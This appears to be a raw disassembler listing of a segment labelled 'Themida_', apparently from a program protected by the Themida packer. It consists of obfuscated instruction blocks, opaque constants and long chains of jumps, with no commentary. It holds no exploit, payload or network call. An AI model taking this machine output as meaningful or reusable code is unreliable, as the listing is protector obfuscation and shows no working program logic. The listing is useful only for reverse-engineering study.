loc_5AC5D7:				; CODE XREF: Themida_:0059CEBCj
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_598FE4
; ---------------------------------------------------------------------------


loc_5AC5E6:				; CODE XREF: Themida_:005AD08Aj
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC5EF:				; CODE XREF: Themida_:005ACCD0j
		sub	eax, 6B9E7975h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AB190
; ---------------------------------------------------------------------------


loc_5AC602:				; CODE XREF: Themida_:005A622Fj
		mov	[esp], edx
		push	esp
		jmp	loc_5A5D8D
; ---------------------------------------------------------------------------


loc_5AC60B:				; CODE XREF: Themida_:0059C0B6j
					; Themida_:loc_5A6347j
		sub	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_59E90C
; ---------------------------------------------------------------------------


loc_5AC61C:				; CODE XREF: Themida_:005AC1BDj
		pop	ebp
		jmp	loc_5A018F
; ---------------------------------------------------------------------------


loc_5AC622:				; CODE XREF: Themida_:005A4C17j
		mov	eax, [esp]
		push	ebx
		push	1D0Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AE5C6
; ---------------------------------------------------------------------------


loc_5AC64C:				; CODE XREF: Themida_:005A67EAj
		mov	bl, al
		pop	eax
		pop	edx
		sub	al, bl
		pop	ebx
		add	al, 0A5h
		pop	ecx
		jmp	loc_59E222
; ---------------------------------------------------------------------------


loc_5AC65B:				; CODE XREF: Themida_:0059CCF3j
		mov	eax, 4
		jmp	loc_5AE348
; ---------------------------------------------------------------------------


loc_5AC665:				; CODE XREF: Themida_:00599F67j
		add	edx, ebx
		jmp	loc_5A9F24
; ---------------------------------------------------------------------------


loc_5AC66C:				; CODE XREF: Themida_:loc_5AC2A4j
		pop	dword ptr [edi+40h]
		jmp	loc_5A498C
; ---------------------------------------------------------------------------


loc_5AC674:				; CODE XREF: Themida_:005A5C9Bj
					; Themida_:005A7EBDj
		pop	edx
		jmp	loc_5AEAFD
; ---------------------------------------------------------------------------


loc_5AC67A:				; CODE XREF: Themida_:005996C9j
		shl	ecx, 2
		jz	loc_59D8F3
		sub	ecx, 0D4623DDDh
		or	ecx, 3326565Ah
		jmp	loc_5A47D0
; ---------------------------------------------------------------------------


loc_5AC694:				; CODE XREF: Themida_:005A9542j
		pop	dword ptr [esp]
		pop	esp
		push	3E60h
		jmp	loc_5A1B8A
; ---------------------------------------------------------------------------


loc_5AC6A2:				; CODE XREF: Themida_:0059DBC4j
		add	ebx, edx
		jmp	loc_5AAC09
; ---------------------------------------------------------------------------


loc_5AC6A9:				; CODE XREF: Themida_:00599B45j
					; Themida_:0059A278j
		xor	edi, 66312EFh
		push	2191h
		mov	[esp], eax
		mov	eax, 414040E5h
		neg	eax
		push	ebp
		mov	ebp, 25B85600h
		add	ebp, 44096E98h
		push	ebx
		jmp	loc_5A030F
; ---------------------------------------------------------------------------


loc_5AC6D0:				; CODE XREF: Themida_:005A715Fj
		xor	al, 89h
		jnp	loc_59F1BE
		jmp	loc_5AE68C
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		jmp	loc_59BC2A
; ---------------------------------------------------------------------------


loc_5AC6E5:				; CODE XREF: Themida_:00598E8Bj
		push	esi
		mov	esi, 7F014AB4h
		sub	ebx, esi
		jmp	loc_5A8B6C
; ---------------------------------------------------------------------------


loc_5AC6F2:				; CODE XREF: Themida_:005ACF9Cj
		push	esi
		mov	esi, 20F623E6h
		add	[esp+4], esi
		pop	esi
		pop	ebp
		sub	ebp, 20F623E6h
		pop	eax
		push	ecx
		mov	ecx, 0DE5FF141h
		jmp	loc_5AC988
; ---------------------------------------------------------------------------


loc_5AC710:				; CODE XREF: Themida_:005A91C9j
		pop	ecx
		sub	ecx, 28C04673h
		jz	loc_5A41AB
		shl	ecx, 6
		jmp	loc_5A9453
; ---------------------------------------------------------------------------


loc_5AC725:				; CODE XREF: Themida_:005A06C6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_59F589
; ---------------------------------------------------------------------------


loc_5AC737:				; CODE XREF: Themida_:005986AFj
		xor	edx, 0A9910682h
		push	eax
		mov	eax, 0FD02028h
		add	eax, 21B67230h
		push	edx
		mov	edx, 3ADF663Dh
		add	edx, 6C751A1Eh
		jmp	loc_5A55A5
; ---------------------------------------------------------------------------


loc_5AC759:				; CODE XREF: Themida_:005A8B15j
		pop	esp
		jmp	loc_5A24B6
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC767:				; CODE XREF: Themida_:005AA096j
		mov	ebx, ebp
		pop	ebp
		pop	edx
		push	41EAh
		mov	[esp], ecx
		mov	ecx, 12884444h
		jmp	loc_59ECA4
; ---------------------------------------------------------------------------


loc_5AC77D:				; CODE XREF: Themida_:005A1E37j
		xor	ecx, ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59CF8C
; ---------------------------------------------------------------------------


loc_5AC78D:				; CODE XREF: Themida_:005996B9j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	76EFh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5AAC5F
; ---------------------------------------------------------------------------


loc_5AC7A9:				; CODE XREF: Themida_:0059E017j
		jle	loc_598601
		xor	ch, 2Bh
		mov	dl, ch
		pop	ecx
		shl	dl, 3
		sub	dl, 0A2h
		sub	al, dl
		pop	edx
		add	al, 87h
		add	al, 0F0h
		add	al, dl
		sub	al, 0F0h
		sub	al, 87h
		add	al, 0AEh
		jmp	loc_5A2D53
; ---------------------------------------------------------------------------


loc_5AC7CF:				; CODE XREF: Themida_:005A1F99j
					; Themida_:005A7AC2j
		mov	[esp], ecx
		push	esi
		jmp	loc_59EF7F
; ---------------------------------------------------------------------------


loc_5AC7D8:				; CODE XREF: Themida_:005A9A0Cj
					; Themida_:005ADCD3j
		mov	ecx, 74734377h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 25AE10B4h
		jmp	loc_59CFDE
; ---------------------------------------------------------------------------


loc_5AC7FB:				; CODE XREF: Themida_:0059D473j
		jns	loc_59F1B9
		jmp	loc_5A50B4
; ---------------------------------------------------------------------------
		jmp	loc_59EA4C
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		pop	esp
		pop	dword ptr [edx]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC816:				; CODE XREF: Themida_:0059BC73j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5AA0A4
; ---------------------------------------------------------------------------


loc_5AC82C:				; CODE XREF: Themida_:005A3C31j
		xchg	edi, [esp]
		jmp	loc_59AEC2
; ---------------------------------------------------------------------------


loc_5AC834:				; CODE XREF: Themida_:005AAB08j
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5AC493
; ---------------------------------------------------------------------------


loc_5AC84F:				; CODE XREF: Themida_:loc_59C79Cj
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_59DBA3
; ---------------------------------------------------------------------------


loc_5AC859:				; CODE XREF: Themida_:005A205Aj
		sub	esp, 4
		jmp	loc_5A4042
; ---------------------------------------------------------------------------


loc_5AC861:				; CODE XREF: Themida_:005AB972j
		xor	edx, 64A41935h
		add	edx, 29DB4273h
		not	edx
		xor	edx, 0AAB67C80h
		push	eax
		mov	eax, 625221D3h
		xor	eax, 66475951h
		add	edx, 2CB11D3Bh
		jmp	loc_5A9B55
; ---------------------------------------------------------------------------


loc_5AC88B:				; CODE XREF: Themida_:005A6D34j
		push	8F8h
		mov	[esp], edx
		jmp	loc_5ABDBE
; ---------------------------------------------------------------------------


loc_5AC898:				; CODE XREF: Themida_:005AB65Aj
		mov	dh, 0B5h
		push	ebx
		mov	bh, dh
		mov	cl, bh
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5AEA63
; ---------------------------------------------------------------------------


loc_5AC8A9:				; CODE XREF: Themida_:0059CFC9j
		sub	al, bh
		pop	bx
		push	small 6A86h
		mov	[esp], bx
		mov	bh, 0D1h
		jmp	loc_59F4A0
; ---------------------------------------------------------------------------


loc_5AC8BC:				; CODE XREF: Themida_:005AD998j
		or	eax, 79276846h
		jb	loc_5A4EE9
		jmp	loc_5A8EB4
; ---------------------------------------------------------------------------


loc_5AC8CC:				; CODE XREF: Themida_:005A3B28j
		push	0B0Ch
		mov	[esp], edx
		push	ebp
		push	55DA1FEEh
		jmp	loc_59DEE9
; ---------------------------------------------------------------------------


loc_5AC8DF:				; CODE XREF: Themida_:005AC06Fj
		sub	ebx, 7907738Ch
		jmp	loc_5AABE8
; ---------------------------------------------------------------------------


loc_5AC8EA:				; CODE XREF: Themida_:005A3122j
		push	ebx
		push	edx
		mov	dh, 3
		jmp	loc_5A402F
; ---------------------------------------------------------------------------


loc_5AC8F3:				; CODE XREF: Themida_:005A1410j
		jnz	loc_59B160
		sub	al, 0E0h
		sub	bl, al
		pop	ax
		push	dword ptr [esp]
		mov	esi, esi


loc_5AC904:				; CODE XREF: Themida_:005A9466j
		sub	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		push	5AF02E9h
		pop	esi
		sub	esi, 0D420DF8Fh
		jmp	loc_5A6C89
; ---------------------------------------------------------------------------


loc_5AC926:				; CODE XREF: Themida_:005A1994j
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_5A269A
; ---------------------------------------------------------------------------


loc_5AC935:				; CODE XREF: Themida_:005A4846j
		mov	ecx, 4
		sub	esi, 70DF078Ch
		jmp	loc_59EE2C
; ---------------------------------------------------------------------------


loc_5AC945:				; CODE XREF: Themida_:0059BE2Bj
		jmp	loc_5AA941
; ---------------------------------------------------------------------------


loc_5AC94A:				; CODE XREF: Themida_:loc_5A0256j
					; Themida_:005AEFC3j
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A138F
; ---------------------------------------------------------------------------


loc_5AC961:				; CODE XREF: Themida_:0059D986j
					; Themida_:0059FC09j
		push	ecx
		mov	ecx, 7DDE7365h
		jmp	loc_5A5F18
; ---------------------------------------------------------------------------


loc_5AC96C:				; CODE XREF: Themida_:0059CA11j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC971:				; CODE XREF: Themida_:0059FB7Ej
		mov	ecx, eax
		pop	eax
		add	ecx, 59C94DA2h
		add	ecx, eax
		push	ebx
		mov	ebx, 59C94DA2h
		push	ebx
		jmp	loc_5A6EF7
; ---------------------------------------------------------------------------


loc_5AC988:				; CODE XREF: Themida_:005AC70Bj
		add	ebp, 24736628h
		add	ebp, ecx
		sub	ebp, 24736628h
		pop	ecx
		or	ecx, ebp
		pop	ebp
		xor	ecx, 1F5B7FFFh
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5AF36A
; ---------------------------------------------------------------------------


loc_5AC9AA:				; CODE XREF: Themida_:0059DA69j
		mov	[esp], eax
		push	edx
		mov	edx, 338456C6h
		mov	eax, 393C21D9h
		xor	eax, 23545F61h
		neg	eax
		jmp	loc_59BE30
; ---------------------------------------------------------------------------


loc_5AC9C4:				; CODE XREF: Themida_:005AF514j
		dec	ebx
		push	esi
		mov	esi, 77F73141h
		add	ebx, esi
		pop	esi
		jmp	loc_59D871
; ---------------------------------------------------------------------------


loc_5AC9D3:				; CODE XREF: Themida_:005A01B5j
		push	519869EDh
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [esp+8], 51512EABh
		add	[esp+8], ebp
		add	dword ptr [esp+8], 51512EABh
		pop	ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_59902D
; ---------------------------------------------------------------------------


loc_5AC9FC:				; CODE XREF: Themida_:005A762Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5AD62D
; ---------------------------------------------------------------------------


loc_5ACA14:				; CODE XREF: Themida_:005A943Ej
		mov	eax, 0A9E6855h
		jmp	loc_5AA00E
; ---------------------------------------------------------------------------


loc_5ACA1E:				; CODE XREF: Themida_:005ABD93j
		sub	ebx, 1A3F044Bh
		pop	esi
		jmp	loc_5A072D
; ---------------------------------------------------------------------------


loc_5ACA2A:				; CODE XREF: Themida_:005A2321j
		or	eax, 55177639h
		xor	eax, 233B7C52h
		jmp	loc_599D72
; ---------------------------------------------------------------------------


loc_5ACA39:				; CODE XREF: Themida_:005AC059j
		xor	ebx, 7E11CD27h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edx
		push	ebp
		mov	ebp, 8AB234Ch
		neg	ebp
		push	eax
		mov	eax, 1437F44h
		shl	eax, 1
		sub	eax, 273A6CB6h
		xor	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		pop	edx
		push	esi
		jmp	loc_59A404
; ---------------------------------------------------------------------------


loc_5ACA6B:				; CODE XREF: Themida_:005ADC31j
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		jmp	loc_598C0E
; ---------------------------------------------------------------------------


loc_5ACA90:				; CODE XREF: Themida_:0059E51Aj
		push	7168h
		mov	[esp], ecx
		jmp	loc_5AC1F3
; ---------------------------------------------------------------------------


loc_5ACA9D:				; CODE XREF: Themida_:005A021Aj
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, 78411C12h
		add	esi, eax
		sub	esi, 78411C12h
		jmp	loc_5AD645
; ---------------------------------------------------------------------------


loc_5ACABC:				; CODE XREF: Themida_:loc_59FBB2j
		xor	ah, 6Eh
		jnp	loc_5A07C5
		add	ah, 10h
		push	edx
		mov	dl, ah
		jmp	loc_59CD78
; ---------------------------------------------------------------------------


loc_5ACAD0:				; CODE XREF: Themida_:005A0D5Fj
		mov	ebx, esi
		jmp	loc_5A108C
; ---------------------------------------------------------------------------


loc_5ACAD7:				; CODE XREF: Themida_:0059FB0Ej
		pop	ebp
		xor	eax, edx
		pop	edx
		push	eax
		jmp	loc_59FC24
; ---------------------------------------------------------------------------


loc_5ACAE1:				; CODE XREF: Themida_:005AE56Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 8
		jmp	loc_5A97B0
; ---------------------------------------------------------------------------


loc_5ACAF3:				; CODE XREF: Themida_:005A35D2j
		mov	ebx, 0F864046h
		sub	ebx, 0F3831454h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, 148A3E85h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 5FC661BEh
		push	esi
		mov	esi, 0A482186h
		jmp	loc_5A2277
; ---------------------------------------------------------------------------


loc_5ACB24:				; CODE XREF: Themida_:005AF3C6j
		push	ecx
		mov	cl, 5Bh
		mov	al, cl
		jmp	loc_59F8F1
; ---------------------------------------------------------------------------


loc_5ACB2E:				; CODE XREF: Themida_:0059DB47j
		sub	ecx, edi
		pop	edi
		xor	ecx, 2D01EBEh
		add	ecx, 18B83EFBh
		xor	ecx, 11B19EAh
		push	ecx
		push	eax
		mov	eax, 52C23160h
		sub	[esp+4], eax
		pop	eax
		pop	esi
		add	esi, 52C23160h
		pop	ecx
		add	[esp+4], esi
		pop	esi
		jmp	loc_5ABE00
; ---------------------------------------------------------------------------


loc_5ACB61:				; CODE XREF: Themida_:005A753Aj
		mov	edx, 6FAD3EFCh
		shl	edx, 6
		jmp	loc_59D97A
; ---------------------------------------------------------------------------


loc_5ACB6E:				; CODE XREF: Themida_:005ACE50j
		push	ebx
		push	738D4AA8h
		mov	ebx, [esp]
		jmp	loc_59F34D
; ---------------------------------------------------------------------------


loc_5ACB7C:				; CODE XREF: Themida_:005AE0D3j
		pop	ebp
		push	ebp
		push	edx
		jmp	loc_59A837
; ---------------------------------------------------------------------------


loc_5ACB84:				; CODE XREF: Themida_:005ABD8Cj
		push	esp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4E8F341Ah
		or	ebx, 72C81B47h
		neg	ebx
		shr	ebx, 5
		neg	ebx
		and	ebx, 419A39FAh
		add	ebx, 0BE6DC60Ah
		add	edi, ebx
		pop	ebx
		add	edi, 4
		jmp	loc_5AF127
; ---------------------------------------------------------------------------


loc_5ACBB8:				; CODE XREF: Themida_:00599FFCj
					; Themida_:005A9B7Ej
		pop	edx
		jmp	loc_5A390A
; ---------------------------------------------------------------------------


loc_5ACBBE:				; CODE XREF: Themida_:005A796Bj
		add	esp, 4
		add	ecx, 1
		xor	ecx, 0CF4399D8h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A9C6D
; ---------------------------------------------------------------------------


loc_5ACBD5:				; CODE XREF: Themida_:0059A605j
		mov	[esp], ecx
		jmp	loc_5A6946
; ---------------------------------------------------------------------------


loc_5ACBDD:				; CODE XREF: Themida_:005AE64Ej
		push	esi
		push	ebp
		mov	ebp, 45712B54h
		jmp	loc_5AF22A
; ---------------------------------------------------------------------------


loc_5ACBE9:				; CODE XREF: Themida_:005A1F25j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 50A66456h
		jmp	loc_59D040
; ---------------------------------------------------------------------------


loc_5ACBFC:				; CODE XREF: Themida_:005A54EBj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A01BA
; ---------------------------------------------------------------------------


loc_5ACC0D:				; CODE XREF: Themida_:005A7EEFj
		pop	ebx
		or	ebx, 5DC9690Ah
		jmp	loc_5A23A1
; ---------------------------------------------------------------------------


loc_5ACC19:				; CODE XREF: Themida_:0059DA52j
		not	esi
		xchg	esi, ebp
		jmp	loc_5ADD37
; ---------------------------------------------------------------------------


loc_5ACC22:				; CODE XREF: Themida_:005A0180j
		pop	esp
		mov	[esp], edx
		push	751A7FA5h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		dec	edx
		js	loc_5A22DC
		shl	edx, 1
		jnz	loc_5ADF52
		xor	edx, 8B21CDFFh
		push	ebp
		mov	ebp, edx
		push	esi
		mov	esi, ebp
		mov	eax, esi


loc_5ACC52:				; CODE XREF: Themida_:005A0457j
		mov	[esp], edi
		push	esp
		jmp	loc_599725
; ---------------------------------------------------------------------------


loc_5ACC5B:				; CODE XREF: Themida_:005A2A92j
		add	al, dl
		push	cx
		mov	cl, 8Eh
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_59AB7B
; ---------------------------------------------------------------------------


loc_5ACC6F:				; CODE XREF: Themida_:0059BF9Ej
		mov	esi, [esp]
		push	eax
		jmp	loc_5A6A86
; ---------------------------------------------------------------------------


loc_5ACC78:				; CODE XREF: Themida_:005A1F36j
		push	esp
		pop	ebx
		push	edx
		push	eax
		mov	eax, 3CA95C35h
		mov	edx, 3CA95C39h
		sub	edx, eax
		pop	eax
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5A545E
; ---------------------------------------------------------------------------


loc_5ACC99:				; CODE XREF: Themida_:0059B89Bj
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A86CE
; ---------------------------------------------------------------------------


loc_5ACCB9:				; CODE XREF: Themida_:0059BFA9j
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_59DD61
; ---------------------------------------------------------------------------


loc_5ACCC9:				; CODE XREF: Themida_:005A5F35j
		add	eax, 6B9E7975h
		add	eax, edi
		jmp	loc_5AC5EF
; ---------------------------------------------------------------------------


loc_5ACCD5:				; CODE XREF: Themida_:005A6613j
		pop	eax
		shl	eax, 1
		and	eax, 0C9B6F89h
		xor	eax, 2B7472A7h
		neg	eax
		xor	eax, 0D18EC8A2h
		sub	esi, eax
		jmp	loc_59ED5A
; ---------------------------------------------------------------------------


loc_5ACCF0:				; CODE XREF: Themida_:0059A7A6j
		mov	edx, 52A00D56h
		jmp	loc_5AAEBA
; ---------------------------------------------------------------------------


loc_5ACCFA:				; CODE XREF: Themida_:005AA0BCj
					; Themida_:005AB5CBj
		inc	al
		jo	loc_598A4D
		or	al, 0A2h
		jp	loc_598C19
		jmp	loc_5A7870
; ---------------------------------------------------------------------------
		neg	ecx
		mov	bh, bl
		mov	dl, bl


loc_5ACD15:				; CODE XREF: Themida_:00599346j
		jmp	loc_59F000
; ---------------------------------------------------------------------------


loc_5ACD1A:				; CODE XREF: Themida_:005AD622j
		mov	[esp], ebx
		push	eax
		mov	eax, 0EC52962h
		jmp	loc_5A15C9
; ---------------------------------------------------------------------------


loc_5ACD28:				; CODE XREF: Themida_:005A1DA9j
		add	ch, ah
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		mov	ecx, [esp]
		jmp	loc_5AAA59
; ---------------------------------------------------------------------------


loc_5ACD3E:				; CODE XREF: Themida_:005A3DBBj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ACD43:				; CODE XREF: Themida_:005A5709j
		sub	esp, 4
		mov	[esp], edi
		push	1FB43B8Bh
		pop	edi
		jmp	loc_5A7BE6
; ---------------------------------------------------------------------------


loc_5ACD54:				; CODE XREF: Themida_:005A839Fj
		sub	edi, 2B745770h
		add	edi, edx
		add	edi, 2B745770h
		pop	edx
		pop	ecx
		push	1E0h
		mov	[esp], edx
		mov	edx, 2
		sub	edi, edx
		jmp	loc_59A909
; ---------------------------------------------------------------------------


loc_5ACD78:				; CODE XREF: Themida_:00598EB5j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 744A46h
		push	21E0h
		mov	[esp], edx
		jmp	loc_5A9C0D
; ---------------------------------------------------------------------------


loc_5ACD90:				; CODE XREF: Themida_:005A4E4Aj
		push	ecx
		mov	ecx, 26CE4CC1h
		push	edi
		jmp	loc_5AE1F6
; ---------------------------------------------------------------------------


loc_5ACD9C:				; CODE XREF: Themida_:005A8DBEj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	6D3370Ah
		pop	ebp
		add	eax, 78D41D60h
		sub	eax, 77BA6F41h
		jmp	loc_59ECE8
; ---------------------------------------------------------------------------


loc_5ACDC7:				; CODE XREF: Themida_:0059857Fj
		mov	ebp, 2E1B7E3Eh
		xor	edx, ebp
		pop	ebp
		dec	edx
		jg	loc_5A6FF8
		xor	edx, 7BCA0505h
		jnz	loc_59DFD0
		xor	edx, 0F2336367h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4


loc_5ACDF0:				; CODE XREF: Themida_:005AE322j
		not	ebp
		sub	ebp, 2E6165BCh
		sub	ebp, 6F27824Dh
		add	ecx, 3CE058C1h
		jmp	loc_5AB6D3
; ---------------------------------------------------------------------------


loc_5ACE09:				; CODE XREF: Themida_:loc_5A7510j
		jmp	loc_59940C
; ---------------------------------------------------------------------------


loc_5ACE0E:				; CODE XREF: Themida_:005989AFj
					; Themida_:005AE86Dj
		mov	[esp], edx
		mov	dl, 51h
		add	dl, 7Fh
		mov	ah, 75h
		add	ah, dl
		pop	edx
		jmp	loc_59E17E
; ---------------------------------------------------------------------------


loc_5ACE20:				; CODE XREF: Themida_:005A6D90j
		xchg	ebp, [esp]
		jmp	loc_5A0DDF
; ---------------------------------------------------------------------------


loc_5ACE28:				; CODE XREF: Themida_:00599216j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 28FB0F46h
		add	eax, 17882C61h
		sub	eax, ecx
		sub	eax, 17882C61h
		add	eax, 28FB0F46h
		pop	ecx
		jmp	loc_5ACB6E
; ---------------------------------------------------------------------------


loc_5ACE55:				; CODE XREF: Themida_:005A32CBj
		push	edi
		mov	edi, esp
		jmp	loc_5A1EC4
; ---------------------------------------------------------------------------


loc_5ACE5D:				; CODE XREF: Themida_:005AE157j
		mov	ebp, 459C04ECh
		or	ebp, 15A101D4h
		shr	ebp, 3
		jmp	loc_5A318E
; ---------------------------------------------------------------------------


loc_5ACE70:				; CODE XREF: Themida_:0059BD17j
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A9F72
; ---------------------------------------------------------------------------


loc_5ACE7C:				; CODE XREF: Themida_:005A9F6Dj
		add	edx, 4
		jmp	loc_5AC5A1
; ---------------------------------------------------------------------------


loc_5ACE87:				; CODE XREF: Themida_:005A2B41j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5A9C79
; ---------------------------------------------------------------------------


loc_5ACE99:				; CODE XREF: Themida_:00598469j
		push	496h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	518Dh
		mov	[esp], edi
		jmp	loc_59DE47
; ---------------------------------------------------------------------------


loc_5ACEC2:				; CODE XREF: Themida_:005A19A4j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ACEC7:				; CODE XREF: Themida_:005A14BCj
		add	esi, 4
		sub	esi, 4
		jmp	loc_5A4A7C
; ---------------------------------------------------------------------------


loc_5ACED5:				; CODE XREF: Themida_:00598A71j
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		push	ecx
		jmp	loc_5AEC28
; ---------------------------------------------------------------------------


loc_5ACEE0:				; CODE XREF: Themida_:0059E794j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_5A868B
; ---------------------------------------------------------------------------


loc_5ACEF5:				; CODE XREF: Themida_:005A0FD0j
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, 29471047h
		sub	ecx, esi
		jmp	loc_59E878
; ---------------------------------------------------------------------------


loc_5ACF08:				; CODE XREF: Themida_:005A73AFj
		mov	edi, 348D12F3h
		xor	edx, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_5A5187
; ---------------------------------------------------------------------------


loc_5ACF18:				; CODE XREF: Themida_:005A2C14j
		add	esp, 4
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		pop	esi
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 4
		jmp	loc_5AC117
; ---------------------------------------------------------------------------


loc_5ACF35:				; CODE XREF: Themida_:0059E0F6j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A342D
; ---------------------------------------------------------------------------


loc_5ACF4F:				; CODE XREF: Themida_:00598A48j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_599967
; ---------------------------------------------------------------------------


loc_5ACF5A:				; CODE XREF: Themida_:005A62A7j
		push	esi
		push	164207Dh
		mov	esi, [esp]
		add	esp, 4
		dec	esi
		jle	loc_5A28C4
		xchg	eax, esi
		jmp	loc_59CB39
; ---------------------------------------------------------------------------


loc_5ACF73:				; CODE XREF: Themida_:005AA0F3j
		pop	ecx
		xor	ebx, eax
		mov	dx, [esp]
		push	ecx
		jmp	loc_5AE31A
; ---------------------------------------------------------------------------


loc_5ACF80:				; CODE XREF: Themida_:005A81E2j
		mov	edi, ecx
		pop	ecx
		jmp	loc_59F114
; ---------------------------------------------------------------------------


loc_5ACF88:				; CODE XREF: Themida_:005A1646j
		dec	ebx
		jnz	loc_5A0A8C
		sub	ebx, 0A845715h
		push	ebx
		jmp	loc_5AC2AF
; ---------------------------------------------------------------------------


loc_5ACF9B:				; CODE XREF: Themida_:0059C52Dj
					; Themida_:005A9B9Bj
		push	eax
		jmp	loc_5AC6F2
; ---------------------------------------------------------------------------


loc_5ACFA1:				; CODE XREF: Themida_:0059C748j
		push	ebp
		push	4421h
		mov	[esp], esi
		mov	esi, 6D020B2Dh
		and	esi, 7CB1D97h
		jmp	loc_5AC1C2
; ---------------------------------------------------------------------------


loc_5ACFBA:				; CODE XREF: Themida_:005A6800j
		add	esp, 4
		add	ebx, edi
		push	7418h
		mov	[esp], edx
		push	7C67h
		mov	[esp], ecx
		mov	ecx, 0
		jmp	loc_5AA3B9
; ---------------------------------------------------------------------------


loc_5ACFD9:				; CODE XREF: Themida_:005A143Bj
					; Themida_:005ADD01j
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AD1E0
; ---------------------------------------------------------------------------


loc_5ACFEB:				; CODE XREF: Themida_:005A56A3j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5A4F41
; ---------------------------------------------------------------------------


loc_5ACFF5:				; CODE XREF: Themida_:00598628j
		sub	esp, 4
		jmp	loc_59BCFB
; ---------------------------------------------------------------------------


loc_5ACFFD:				; CODE XREF: Themida_:005A2BA8j
					; Themida_:005AAFE7j
		sub	bl, dl
		add	bl, 41h
		jmp	loc_59A794
; ---------------------------------------------------------------------------


